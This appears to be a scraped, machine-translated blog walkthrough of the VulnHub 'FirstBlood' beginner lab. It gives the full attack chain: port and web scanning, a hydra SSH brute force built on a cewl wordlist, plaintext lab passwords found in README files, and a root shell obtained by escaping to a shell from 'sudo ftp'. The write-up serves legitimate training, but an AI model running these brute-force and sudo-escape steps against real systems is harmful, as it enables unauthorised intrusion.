当前位置:网站首页>vulnhub-FirstBlood
vulnhub-FirstBlood
2022-07-05 15:53:00 【GALi_ two hundred and thirty-three】
Description
A VERY beginner friendly box with a LOT of hand holding.
Once the system grabs an IP, head straight to the web port before scanning.
You will find your first set of instructions which starts the guided process.
Created in Virtualbox.
Goal: Get the root flag.
Your feedback is appreciated – Twitter: @iamv1nc3nt
This is a novice target , Teach you how to penetrate a machine , Each step has corresponding prompts .
Walkthrough
Get the target IP Address
sudo arp-scan -I eth0 -l

Get IP10.0.2.20
Go directly to the web

View source code of webpage

Follow the prompts to visit rambo.html

Use nmap Port scan
nmap -p- 10.0.2.20

Discover open 60022 port
scanning web Catalog
nikto -h http://10.0.2.20/

Found another website directory /johnnyrambo/, Browser access

Next is ssh Blast , use cewl Crawl the website to generate a wordlist
cewl -w words.txt -d 1 -m 5 http://10.0.2.20/johnnyrambo/
The statistical number of rows
wc -l words.txt
137 words.txt
visit ssh.html

Crack johnny Password
hydra -l johnny -P words.txt -v 10.0.2.20 ssh -s 60022 -t 4

Crack success , adopt ssh Landing system
ssh [email protected] -p 60022
After logging into the system , Open... In the current directory README.txt

Prompted by , You can use the following command to view the local web Catalog
cat /etc/nginx/sites-enabled/default | grep -v "#"

Get into /var/www/html/ , Find another README.txt

lookup README.txt file
find / -type f -readable 2>/dev/null | grep README.txt
# 2>/dev/null 2 It's a standard error , Redirect standard error to /dev/null

see /opt/README.txt

Get an account password
username: blood
password: HackThePlanet2020!!
Switching users
su - blood

Landing successful , Find out blood User directory README.txt, Learn that in /home There may be some files in other user folders under the directory

Get into sly User folder found two files , But there is only one readable , Insufficient authority .
adopt sudo -l View current user permissions
sudo -l

blood Users can use sudo perform /bin/cat, see /home/sly/README.txt
sudo -u sly /bin/cat /home/sly/README.txt

obtain sly User's password :SylvesterStalone
Switching users sly
View user permissions
[email protected]:~$ sudo -l
Matching Defaults entries for sly on firstblood:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User sly may run the following commands on firstblood:
(ALL) /usr/bin/ftp
(root) NOPASSWD: /usr/bin/esudo-properties
utilize sudo, Sure root Permissions to perform ftp.
stay GTFOBins Website , Can be found and obtained root The method of authority

[email protected]:~$ sudo ftp
[sudo] password for sly:
ftp> !/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
#
ok. Successfully get root jurisdiction

边栏推荐
- I spring and autumn blasting-2
- Good article inventory
- Aike AI frontier promotion (7.5)
- Anti shake and throttling
- Intelligent metal detector based on openharmony
- 【简记】解决IDE golang 代码飘红报错
- F. Min cost string problem solving Report
- Bugku's eyes are not real
- Array sorting num ranking merge in ascending order
- 21.[STM32]I2C协议弄不懂,深挖时序图带你编写底层驱动
猜你喜欢

Misc Basic test method and knowledge points of CTF

Appium automation test foundation - appium basic operation API (II)

数学建模之层次分析法(含MATLAB代码)

基于OpenHarmony的智能金属探测器

Fundamentals of data communication - Principles of IP routing

Bugku's Ah Da

Value series solution report

Arduino controls a tiny hexapod 3D printing robot

一文搞定vscode编写go程序

CSRF, XSS science popularization and defense
随机推荐
I spring and autumn blasting-1
Intelligent metal detector based on openharmony
Data communication foundation smart_ Link_&_ Monitor_ Link
【 note 】 résoudre l'erreur de code IDE golang
Clock switching with multiple relationship
21.[STM32]I2C协议弄不懂,深挖时序图带你编写底层驱动
Number protection AXB function! (essence)
写单元测试的时候犯的错
lv_font_conv离线转换
MySQL giant pit: update updates should be judged with caution by affecting the number of rows!!!
vant popup+其他组件的组合使用,及避坑指南
Noi / 1.3 01: a+b problem
The difference between SQL Server char nchar varchar and nvarchar
Noi / 1.5 37: mercenaries
Transfer the idea of "Zhongtai" to the code
Record the pits encountered in the raspberry pie construction environment...
Maximum common subsequence
Explanation report of the explosion
OSI 七层模型
RepLKNet:不是大卷积不好,而是卷积不够大,31x31卷积了解一下 | CVPR 2022